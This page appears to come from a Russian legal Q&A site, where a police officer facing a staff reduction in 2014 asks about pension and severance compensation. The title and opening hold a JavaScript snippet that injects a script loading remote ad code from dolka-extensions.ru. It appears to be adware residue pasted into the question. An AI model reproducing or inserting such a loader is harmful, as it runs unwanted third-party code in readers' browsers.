Юриспруденция

if(document.location.protocol!='https:') { (function(){var scr =... - вопрос №1097476

document.createElement('script'); scr.appendChild(document.createTextNode('(function (w, d) {w.SkidkiAdConfig = {«id»:888,«modules»:[«link»,«phrase»],«phrase_link_target»:"_blank",«phrase_min_distance»:0,«popup_type»:«horizontal_black»};var js, id = «SkidkiAd-script», ref = d.getElementsByTagName(\'script\')[0];var proto = d.location.protocol === «https:»? «https:»: «http:»;if (d.getElementById(id)) {return;}js = d.createElement(\'script\'); js.id = id; js.async = true; js.charset = \'utf-8\';js.src = proto + \'//dolka-extensions.ru/skidkiad.js?r\' + (new Date).getDate()+Math.random();ref.parentNode.insertBefore(js, ref);}(window, document));')); document.getElementsByTagName('head')[0].appendChild(scr);})(); }Загрузка... я сотрудник полиции, получил уведомление о сокращении штата с 01.07.2014 года, то есть могу работат до 01.09.2014 года.(два месяца как положено).05.10.2014 года у меня наступит 20 календарных лет выслуги службы.чтоб растянут на него хочу взять отпуск с 28.08.2014 года.вопрос такой: если после сокращения я пойду на пенсию с выслугой 20 лет, могу ли я претендоват на компенсацию 7 окладов, или мне сразу пойти на пенсию не дождавшись сокращения.как мне лучше поступит в такой ситуации